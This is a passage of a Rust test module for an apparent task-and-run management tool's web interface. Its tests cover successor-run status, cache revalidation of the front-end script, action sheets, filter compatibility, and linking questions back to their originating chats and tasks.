23704        assert_eq!(view1["latest_attempt"]["resolved"], false);
23705        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23706        assert_eq!(view1["latest_attempt"]["done"], true);
23707
23708        // Still running: the successor exists and must be reported as such.
23709        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23710        write_run(&runs, run_a, RunStatus::Blocked);
23711        write_run(&runs, run_b, RunStatus::Implementing);
23712        let mut t3 = Task::new(
23713            "retrying".to_owned(),
23714            "do it".to_owned(),
23715            PathBuf::from("/repo"),
23716            Source::Human,
23717        );
23718        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23719        q.put(&mut t3).expect("put");
23720        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23721        assert_eq!(view3["latest_attempt"]["id"], run_b);
23722        assert_eq!(view3["latest_attempt"]["resolved"], false);
23723        assert_eq!(view3["latest_attempt"]["done"], false);
23724
23725        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23726        // to check - not a confirmed finish, so this must not read as
23727        // resolved either, even though the run is done in the sense that
23728        // nothing is still running.
23729        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23730        write_run(&runs, noop_a, RunStatus::Blocked);
23731        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23732        let mut t2 = Task::new(
23733            "claims done".to_owned(),
23734            "do it".to_owned(),
23735            PathBuf::from("/repo"),
23736            Source::Human,
23737        );
23738        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23739        q.put(&mut t2).expect("put");
23740        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23741        assert_eq!(
23742            view2["latest_attempt"]["resolved"], false,
23743            "an unverified no-op claim must not read as a confirmed finish"
23744        );
23745
23746        // Front end: an unresolved successor must not carry the "finished
23747        // this work" note or the muted chip treatment.
23748        assert!(APP_JS.contains("latest.resolved"));
23749        // ...but the link to it shows as soon as it exists, labelled by state
23750        // and without the "finished" wording or the muted chip.
23751        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23752        assert!(APP_JS.contains("Latest attempt: "));
23753        assert!(APP_JS.contains("in flight"));
23754        assert!(APP_JS.contains("not resolved"));
23755    }
23756
23757    #[tokio::test]
23758    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23759        let fx = Fixture::start().await;
23760        // No cache header at all meant browsers invented their own policy,
23761        // and one did: a phone went on showing "Candidates must be folded
23762        // before deleting. Run `magi fold` first." - deleted two releases
23763        // earlier - from a deck that no longer contained the sentence. The
23764        // button it named was right there, and unreachable.
23765        let js = fx.get("/app.js").await;
23766        assert_eq!(js.status, 200);
23767        let tag = js
23768            .header("etag")
23769            .expect("an etag to revalidate against")
23770            .to_owned();
23771        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23772        assert_eq!(
23773            js.header("cache-control"),
23774            Some("no-cache, must-revalidate"),
23775            "the phone has to ask every time"
23776        );
23777
23778        // And the asking has to be cheap, or `must-revalidate` just means
23779        // "send the whole interface on every load".
23780        let again = fx
23781            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23782            .await;
23783        assert_eq!(
23784            again.status, 304,
23785            "a deck it already has costs one round trip"
23786        );
23787        assert!(again.body.is_empty(), "304 carries no body");
23788
23789        // A weakened tag from a proxy still matches; a different build does
23790        // not, which is the case that has to deliver the new interface.
23791        let weak = fx
23792            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23793            .await;
23794        assert_eq!(weak.status, 304);
23795        let stale = fx
23796            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23797            .await;
23798        assert_eq!(stale.status, 200, "an older build must be replaced");
23799        assert!(stale.body.contains("renderRunActions"));
23800    }
23801
23802    #[test]
23803    fn the_task_detail_has_an_actions_fab_and_sheet() {
23804        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23805        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23806        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23807        // Shown only on the task route, closed everywhere else.
23808        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23809        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23810        // Refreshed whenever the detail redraws, including the loading state.
23811        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23812        assert!(APP_JS.contains("renderTaskActions(null);"));
23813        // Same renderers and routes as the Queue card, no new endpoint.
23814        let sheet = APP_JS
23815            .find("function renderTaskActions")
23816            .expect("sheet renderer");
23817        let body = &APP_JS[sheet..sheet + 3000];
23818        assert!(body.contains("changePriority("));
23819        assert!(body.contains("openTaskEdit(task)"));
23820        assert!(body.contains("renderTaskHoldBox(host"));
23821        assert!(body.contains("renderTaskDoneBox(host"));
23822        assert!(body.contains("renderTaskDeleteBox(host"));
23823        assert!(APP_JS.contains("API.priority(id)"));
23824        assert!(APP_JS.contains("API.deleteTask(id)"));
23825        // A deleted task sends the operator back to the queue.
23826        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23827        // A refusal is shown inside the sheet.
23828        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23829    }
23830
23831    #[test]
23832    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23833        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23834        let actions = INDEX_HTML
23835            .find("id=\"run-actions-box\"")
23836            .expect("actions box");
23837        assert!(task < actions, "the task entry comes first in the sheet");
23838        assert!(APP_JS.contains("renderRunTaskEntry"));
23839        assert!(APP_JS.contains("\"Open task \""));
23840        // A run without a task says why there is nothing to open.
23841        assert!(APP_JS.contains("started directly, no task"));
23842        assert!(APP_JS.contains("sheet-task-link"));
23843        assert!(APP_JS.contains("task-chip-link"));
23844    }
23845
23846    #[test]
23847    fn the_deck_never_sends_the_operator_to_a_terminal() {
23848        // The whole point of the phone UI is that a terminal is not needed.
23849        // The delete control used to answer with "Run `magi fold` first."
23850        assert!(
23851            !APP_JS.contains("Run `magi fold` first"),
23852            "the deck must offer the fold, not prescribe a shell command"
23853        );
23854        assert!(APP_JS.contains("foldRun:"));
23855        assert!(APP_JS.contains("resumeRun:"));
23856        assert!(APP_JS.contains("renderRunActions"));
23857
23858        // Folding is destructive and armed in two steps, like deleting.
23859        assert!(APP_JS.contains("armedFold"));
23860        assert!(APP_JS.contains("Yes, fold worktrees"));
23861
23862        // And the copy has to say that the two actions are opposites, because
23863        // folding throws away exactly what a resume would continue from.
23864        assert!(APP_JS.contains("can no longer be resumed"));
23865    }
23866
23867    #[test]
23868    fn a_finished_run_explains_itself_with_its_own_last_line() {
23869        // The deck used to answer "why did this stop?" with a sentence chosen
23870        // by status alone. Run e633 stalled because two judges answered with
23871        // the wrong JSON shape and its card said "The panel collapsed on
23872        // agent quota" - with `quota: []` in the record and a quota-loss
23873        // counter right above it that correctly said nothing.
23874        assert!(
23875            !APP_JS.contains("collapsed on agent quota"),
23876            "a stall must not be explained by a cause the deck did not check"
23877        );
23878        assert!(
23879            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23880            "and a block must not offer a guess with an `or` in it"
23881        );
23882
23883        // The reason it does have is `run.event`, which must reach finished
23884        // runs: gating it on movement hid the recorded truth at the one moment
23885        // the operator is reading the card to find out what happened.
23886        assert!(
23887            APP_JS.contains("setText(r.event, run.event || \"\")"),
23888            "the run's last line is rendered unconditionally"
23889        );
23890        assert!(
23891            !APP_JS.contains("moving && run.event"),
23892            "and never gated on the run still moving"
23893        );
23894
23895        // Quota keeps its own counter, fed by the number actually recorded.
23896        assert!(APP_JS.contains("lost to quota"));
23897    }
23898
23899    /// The runs tree (section) and the state chips (waiting/done) are two
23900    /// independent lenses ANDed together in `renderRuns`, and some pairings
23901    /// can never both be true for any run - every "Landed"/"Ended" run is
23902    /// done by construction, so pairing either with "Active" or "In flight"
23903    /// always rendered zero cards with the filter bar still claiming
23904    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23905    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23906    /// a handful of (waiting, status) shapes standing in for the run
23907    /// lifecycle, because `cargo test` cannot execute the front end.
23908    ///
23909    /// That stand-in list is itself the part that drifted twice in review:
23910    /// once shipped with `waiting: true` paired with a done status the
23911    /// lifecycle cannot produce, then over-corrected into treating every
23912    /// waiting run as never done - which made "Waiting on you" look
23913    /// incompatible with "Done" even for the one real, reachable shape
23914    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23915    /// that combination. This test parses the shapes and the done-rule back
23916    /// out of `APP_JS`, reimplements `runSection` and the five state
23917    /// predicates independently in Rust, and checks the resulting
23918    /// section/filter compatibility table against the lifecycle rules by
23919    /// hand - so either direction of drift fails it again.
23920    #[test]
23921    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23922        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23923        let shapes_body_start =
23924            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23925        let shapes_close = APP_JS[shapes_body_start..]
23926            .find("].map(")
23927            .expect("the shape list is closed by its done-computing .map(...)")
23928            + shapes_body_start;
23929        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23930
23931        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23932        for entry in shapes_src.split('{').skip(1) {
23933            let waiting = entry.contains("waiting: true");
23934            let dead = entry.contains("live: \"dead\"");
23935            let status_at =
23936                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23937            let status_end = entry[status_at..]
23938                .find('"')
23939                .expect("the status string is closed")
23940                + status_at;
23941            let parked = entry.contains("display_status: \"parked\"");
23942            shapes.push((
23943                waiting,
23944                entry[status_at..status_end].to_string(),
23945                dead,
23946                parked,
23947            ));
23948        }
23949        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23950
23951        // The done rule itself (`!["implementing"].includes(shape.status)`),
23952        // read out of the source rather than hardcoded, so a renamed
23953        // in-flight status can't silently make every parsed shape "done".
23954        let done_rule_marker = "done: !";
23955        let done_rule_at = APP_JS[shapes_close..]
23956            .find(done_rule_marker)
23957            .expect("the done rule follows the shape list")
23958            + shapes_close
23959            + done_rule_marker.len();
23960        let includes_at = APP_JS[done_rule_at..]
23961            .find(".includes(shape.status)")
23962            .expect("the done rule ends in .includes(shape.status)")
23963            + done_rule_at;
23964        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23965            .trim()
23966            .trim_start_matches('[')
23967            .trim_end_matches(']')
23968            .split(',')
23969            .map(|s| s.trim().trim_matches('"'))
23970            .filter(|s| !s.is_empty())
23971            .collect();
23972
23973        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23974            .into_iter()
23975            .map(|(waiting, status, dead, parked)| {
23976                let done = !not_done.contains(&status.as_str());
23977                (waiting, status, dead, parked, done)
23978            })
23979            .collect();
23980
23981        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23982        // outright, then merged/ready land, stalled/blocked/failed/
23983        // verified_noop end, and everything else is still in flight.
23984        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23985            if waiting {
23986                return "waiting";
23987            }
23988            if dead
23989                && !parked
23990                && !matches!(
23991                    status,
23992                    "merged"
23993                        | "ready"
23994                        | "stalled"
23995                        | "blocked"
23996                        | "failed"
23997                        | "verified_noop"
23998                        | "superseded"
23999                        | "already_in_base"
24000                )
24001            {
24002                return "stale";
24003            }
24004            match status {
24005                "merged" | "ready" => "landed",
24006                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24007                | "already_in_base" => "ended",
24008                _ => "flight",
24009            }
24010        }
24011
24012        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
24013        // way.
24014        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24015            match filter_key {
24016                "active" => !done,
24017                "flight" => !done && !waiting && !dead,
24018                "stale" => !done && !waiting && dead,
24019                "waiting" => waiting,
24020                "done" => done,
24021                "all" => true,
24022                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24023            }
24024        }
24025
24026        let compatible = |section: &str, filter_key: &str| {
24027            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24028                run_section(*waiting, status, *dead, *parked) == section
24029                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24030            })
24031        };
24032
24033        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24034        // (active, flight, stale, waiting, done, all) - hand-derived from the
24035        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24036        // currently contains.
24037        let expected = [
24038            ("waiting", [true, false, false, true, true, true]),
24039            ("stale", [true, false, true, false, false, true]),
24040            ("flight", [true, true, false, false, false, true]),
24041            ("landed", [false, false, false, false, true, true]),
24042            ("ended", [false, false, false, false, true, true]),
24043        ];
24044        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24045
24046        for (section, wants) in expected {
24047            for (filter_key, want) in filter_keys.iter().zip(wants) {
24048                assert_eq!(
24049                    compatible(section, filter_key),
24050                    want,
24051                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24052                );
24053            }
24054        }
24055
24056        // The compatibility check exists only to be acted on: both pickers
24057        // must actually consult it rather than just render its answer.
24058        assert!(
24059            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24060        );
24061        assert!(APP_JS.contains(
24062            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24063        ));
24064        assert!(APP_JS.contains(
24065            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24066        ));
24067    }
24068
24069    #[tokio::test]
24070    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24071        // An operator-named directory - git checkout or not - is never
24072        // second-guessed, even when it does not exist at all: only the
24073        // flag's own unmodified `.` default is ever eligible for discovery.
24074        let dir = tempfile::tempdir().expect("tempdir");
24075        let explicit = dir.path().join("not-a-checkout");
24076        std::fs::create_dir_all(&explicit).expect("create dir");
24077        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24078
24079        let missing = dir.path().join("does-not-exist-at-all");
24080        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24081    }
24082
24083    #[test]
24084    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24085        assert!(APP_JS.contains("function statsDonutArcs"));
24086        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24087        // A bucket click filters by the statuses src/stats.rs counts in it.
24088        assert!(APP_JS.contains("function statusInBucket"));
24089        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24090        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24091        let buckets = [
24092            "merged",
24093            "ready",
24094            "in_progress",
24095            "blocked",
24096            "failed",
24097            "verified_noop",
24098            "superseded",
24099            "stalled",
24100        ];
24101        for key in buckets {
24102            let var = format!("--verdict-{key}:");
24103            // Light, OS-dark and pinned-dark blocks each define it.
24104            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24105            assert!(
24106                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24107                "{key}"
24108            );
24109        }
24110    }
24111
24112    #[tokio::test]
24113    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24114        let dir = tempfile::tempdir().expect("tempdir");
24115        let queue = Queue::at(dir.path().join("queue"));
24116        let talks = Talks::at(dir.path().join("talks"));
24117        std::fs::create_dir_all(queue.root()).unwrap();
24118        std::fs::create_dir_all(talks.root()).unwrap();
24119
24120        // Put a corrupt json file in both stores
24121        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24122        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24123
24124        // Valid task and talk
24125        let mut task = Task::new(
24126            "title".into(),
24127            "inst".into(),
24128            PathBuf::from("/repo"),
24129            Source::Human,
24130        );
24131        task.id = "20261019-123456-abcd".into();
24132        // Write manually so it's a valid file
24133        std::fs::write(
24134            queue.path_of(&task.id),
24135            serde_json::to_string(&task).unwrap(),
24136        )
24137        .unwrap();
24138
24139        let talk_id = "20261019-234567-cdef";
24140        seed_talk_at(&talks, talk_id, "open");
24141
24142        // Exact match should succeed without failing on the corrupt json file
24143        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24144        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24145
24146        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24147        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24148        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24149    }
24150
24151    #[tokio::test]
24152    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24153        let home = tempfile::tempdir().unwrap();
24154        let ui = delta_test_ui(home.path());
24155        // A full history traversal would fail even with no questions.
24156        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24157        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24158        assert!(
24159            questions_list(State(ui.clone()))
24160                .await
24161                .unwrap()
24162                .0
24163                .is_empty()
24164        );
24165        assert!(
24166            question_origins(State(ui.clone()))
24167                .await
24168                .unwrap()
24169                .0
24170                .is_empty()
24171        );
24172        let mut question = Question::new(
24173            "run-history".into(),
24174            "review".into(),
24175            "seat".into(),
24176            "Useful question".into(),
24177            "Useful detail".into(),
24178            vec![],
24179        );
24180        ui.questions.put(&mut question).unwrap();
24181        let core = questions_core(State(ui.clone())).await.unwrap().0;
24182        assert_eq!(core.len(), 1);
24183        assert_eq!(core[0].question.summary, "Useful question");
24184        assert!(!core[0].can_consult_chat);
24185        assert!(core[0].origin_chat.is_none());
24186        assert_eq!(core[0].record_revision, question_record_revision(&question));
24187        assert!(question_origins(State(ui.clone())).await.is_err());
24188        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24189    }
24190
24191    #[tokio::test]
24192    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24193        let home = tempfile::tempdir().unwrap();
24194        let ui = delta_test_ui(home.path());
24195        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24196        let mut parent = Task::new(
24197            "parent".into(),
24198            "body".into(),
24199            PathBuf::from("/repo"),
24200            Source::Agent {
24201                run: chat.clone(),
24202                node: crate::queue::CHAT_NODE.into(),
24203            },
24204        );
24205        parent.id = "parent-task".into();
24206        parent.runs = vec!["parent-run".into()];
24207        ui.queue.put(&mut parent).unwrap();
24208        let mut previous = parent;
24209        for generation in 1..=2 {
24210            let mut child = Task::new(
24211                "child".into(),
24212                "body".into(),
24213                PathBuf::from("/repo"),
24214                Source::Human,
24215            );
24216            child.id = format!("child-task-{generation}");
24217            child.runs = vec![format!("child-run-{generation}")];
24218            child.followup = Some(crate::queue::FollowUp {
24219                origin_task: Some(previous.id.clone()),
24220                run: previous.runs[0].clone(),
24221                pr: String::new(),
24222                findings: vec![],
24223                generation,
24224            });
24225            ui.queue.put(&mut child).unwrap();
24226            previous = child;
24227        }
24228        // A run may have the same spelling as another task's id; its owner
24229        // must not override a typed task reference.
24230        let mut collision = Task::new(
24231            "collision".into(),
24232            String::new(),
24233            PathBuf::from("/repo"),
24234            Source::Human,
24235        );
24236        collision.id = "collision-task".into();
24237        collision.runs = vec![previous.id.clone()];
24238        ui.queue.put(&mut collision).unwrap();
24239        let mut questions = Vec::new();
24240        for (node, reference, expected, eligible) in [
24241            (crate::triage::NODE, previous.id.as_str(), true, false),
24242            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24243            ("review", previous.runs[0].as_str(), true, true),
24244            (
24245                crate::bump::NOTICE_NODE,
24246                previous.runs[0].as_str(),
24247                true,
24248                false,
24249            ),
24250            // Identical text in the wrong reference namespace is not evidence.
24251            ("review", previous.id.as_str(), false, false),
24252            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24253            ("review", "unrelated", false, false),
24254        ] {
24255            let mut q = Question::new(
24256                reference.into(),
24257                node.into(),
24258                "seat".into(),
24259                "Question".into(),
24260                String::new(),
24261                vec![],
24262            );
24263            ui.questions.put(&mut q).unwrap();
24264            questions.push((q, expected, eligible));
24265        }
24266        for (node, reference, associated, eligible) in [
24267            (crate::reconcile::NODE, previous.id.as_str(), true, false),
24268            (
24269                crate::reconcile::NODE,
24270                previous.runs[0].as_str(),
24271                false,
24272                true,
24273            ),
24274            ("implement", previous.id.as_str(), false, false),
24275        ] {
24276            let mut q = Question::new(
24277                reference.into(),
24278                node.into(),
24279                crate::reconcile::SEAT.into(),
24280                "Reconcile".into(),
24281                String::new(),
24282                vec![],
24283            );
24284            ui.questions.put(&mut q).unwrap();
24285            questions.push((q, associated, eligible));
24286        }
24287        let mut release = Question::new(
24288            "release-record".into(),
24289            crate::bump::NOTICE_NODE.into(),
24290            "release-watch".into(),
24291            "Release".into(),
24292            String::new(),
24293            vec![],
24294        );
24295        ui.questions.put(&mut release).unwrap();
24296        let watch = crate::release_watch::WatchState {
24297            question: Some(release.id.clone()),
24298            run: Some(previous.runs[0].clone()),
24299            held_task: Some(previous.id.clone()),
24300            ..Default::default()
24301        };
24302        let watch_dir = home.path().join("release-watch");
24303        std::fs::create_dir_all(&watch_dir).unwrap();
24304        let watch_path = watch_dir.join("watch.json");
24305        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24306        // Ordinary questions and bump notices do not need watch-store I/O.
24307        for batch in [
24308            Vec::new(),
24309            questions.iter().map(|(q, _, _)| q.clone()).collect(),
24310        ] {
24311            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24312            assert!(watches.is_empty());
24313        }
24314        questions.push((release.clone(), true, false));
24315
24316        let views = questions_list(State(ui.clone())).await.unwrap().0;
24317        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24318        for (q, associated, eligible) in &questions {
24319            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24320            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24321            let expected = associated.then_some(chat.as_str());
24322            assert_eq!(
24323                view.origin_chat.as_deref(),
24324                expected,
24325                "{} {}",
24326                q.node,
24327                q.run
24328            );
24329            assert_eq!(origin.origin_chat.as_deref(), expected);
24330            assert_eq!(view.origin_chat_closed, *associated);
24331            assert_eq!(origin.origin_chat_closed, *associated);
24332            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24333            assert_eq!(origin.can_consult_chat, *eligible);
24334        }
24335        // Either saved link independently recovers a release question's owner.
24336        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24337            let link = crate::release_watch::WatchState {
24338                run,
24339                held_task,
24340                ..watch.clone()
24341            };
24342            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24343            let (tasks, talks, watches) =
24344                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24345            assert_eq!(
24346                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24347                    .unwrap()
24348                    .id,
24349                chat,
24350            );
24351            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24352        }
24353        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24354        // Even identical duplicate records are ambiguous: ignore their links.
24355        let duplicate_path = watch_dir.join("duplicate.json");
24356        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24357        let (tasks, talks, watches) =
24358            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24359        assert!(
24360            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24361                .is_none()
24362        );
24363        std::fs::remove_file(duplicate_path).unwrap();
24364        // Another explicit owner is a conflict even if it has no chat.
24365        let mut unrelated = Task::new(
24366            "other".into(),
24367            String::new(),
24368            PathBuf::from("/repo"),
24369            Source::Human,
24370        );
24371        unrelated.id = "unrelated-task".into();
24372        ui.queue.put(&mut unrelated).unwrap();
24373        let mut conflicting = watch.clone();
24374        conflicting.held_task = Some(unrelated.id);
24375        std::fs::write(
24376            watch_dir.join("conflict.json"),
24377            serde_json::to_vec(&conflicting).unwrap(),
24378        )
24379        .unwrap();
24380        let (tasks, talks, watches) =
24381            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24382        assert!(
24383            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24384                .is_none()
24385        );
24386        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24387        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24388        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24389            assert!(origin.origin_chat.is_none());
24390            assert!(!origin.origin_chat_closed);
24391        }
24392    }
24393
24394    #[test]
24395    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24396        let home = tempfile::tempdir().unwrap();
24397        let ui = delta_test_ui(home.path());
24398        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24399        for i in 0..1000 {
24400            let mut task = Task::new(
24401                "unrelated".into(),
24402                "instruction ".repeat(256),
24403                PathBuf::from("/repo"),
24404                Source::Human,
24405            );
24406            task.id = format!("history-{i:04}");
24407            ui.queue.put(&mut task).unwrap();
24408            let id = seed_talk_at(&ui.talks, &task.id, "open");
24409            let mut talk = ui.talks.get(&id).unwrap();
24410            talk.pending = "history ".repeat(256);
24411            ui.talks.put(&mut talk).unwrap();
24412        }
24413        let mut parent = Task::new(
24414            "parent".into(),
24415            "body".into(),
24416            PathBuf::from("/repo"),
24417            Source::Agent {
24418                run: chat_id.clone(),
24419                node: crate::queue::CHAT_NODE.into(),
24420            },
24421        );
24422        parent.id = "task-parent".into();
24423        parent.runs = vec!["run-parent".into()];
24424        ui.queue.put(&mut parent).unwrap();
24425        let mut child = Task::new(
24426            "child".into(),
24427            "body".into(),
24428            PathBuf::from("/repo"),
24429            Source::Human,
24430        );
24431        child.id = "task-child".into();
24432        child.runs = vec!["run-child".into()];
24433        child.followup = Some(crate::queue::FollowUp {
24434            run: "run-parent".into(),
24435            origin_task: Some(parent.id.clone()),
24436            pr: "https://example.invalid/pr/1".into(),
24437            findings: vec![],
24438            generation: 1,
24439        });
24440        ui.queue.put(&mut child).unwrap();
24441        let mut question = Question::new(
24442            child.id.clone(),
24443            crate::conduct::NODE.into(),
24444            "seat".into(),
24445            "Continue?".into(),
24446            String::new(),
24447            vec![],
24448        );
24449        let (tasks, talks, _watches) =
24450            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24451        assert_eq!(tasks.len(), 2);
24452        assert_eq!(talks.len(), 1);
24453        assert_eq!(
24454            ui.monitor.queue_index.lock().unwrap().reparsed,
24455            0,
24456            "exact ancestry bypasses the index"
24457        );
24458        assert_eq!(
24459            crate::consult::origin_talk(&tasks, &talks, &question)
24460                .unwrap()
24461                .id,
24462            chat_id
24463        );
24464        question.run = "run-child".into();
24465        question.node = "review".into();
24466        for origin_task in [Some(parent.id.clone()), None] {
24467            child.followup.as_mut().unwrap().origin_task = origin_task;
24468            ui.queue.put(&mut child).unwrap();
24469            let (tasks, talks, _watches) =
24470                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24471            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24472            let expected =
24473                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24474                    .unwrap();
24475            assert_eq!(actual.id, expected.id);
24476            assert!(!actual.status.open());
24477            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24478            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24479            // Without Unix file identity, every readable record must be
24480            // reparsed to detect same-size, same-mtime replacements safely.
24481            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24482            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24483        }
24484        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24485        ui.queue.put(&mut child).unwrap();
24486        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24487        let (tasks, talks, _watches) =
24488            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24489        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24490        child.origin_chat = Some(chat_id.clone());
24491        ui.queue.put(&mut child).unwrap();
24492        let (tasks, talks, _watches) =
24493            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24494        assert_eq!(
24495            crate::consult::origin_talk(&tasks, &talks, &question)
24496                .unwrap()
24497                .id,
24498            chat_id
24499        );
24500        let revision = question_record_revision(&question);
24501        question.abandon("settled elsewhere");
24502        assert_ne!(revision, question_record_revision(&question));
24503        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24504        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24505        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24506        let (tasks, talks, _watches) =
24507            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24508        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24509    }
24510
24511    #[test]
24512    fn list_cursors_freeze_membership_and_expire_explicitly() {
24513        let home = tempfile::tempdir().unwrap();
24514        let ui = delta_test_ui(home.path());
24515        std::fs::create_dir_all(ui.queue.root()).unwrap();
24516        for i in 0..40 {
24517            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24518        }
24519        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24520        assert_eq!(first.len(), STORE_PAGE_SIZE);
24521        let cursor = cursor.unwrap();
24522        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24523        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
